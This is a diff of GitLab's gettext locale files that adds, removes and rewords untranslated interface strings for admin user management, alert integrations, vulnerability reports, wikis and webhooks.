msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28722,6 +29347,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29061,6 +29701,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index dbbfe7418cf..d1eab10eb20 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:45\n"
+"PO-Revision-Date: 2020-12-03 08:13\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] ""
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] ""
@@ -296,22 +300,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -385,6 +380,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -505,13 +506,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -544,9 +545,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,31 +643,13 @@ msgstr[0] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -817,6 +800,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -835,12 +821,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2037,16 +2029,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
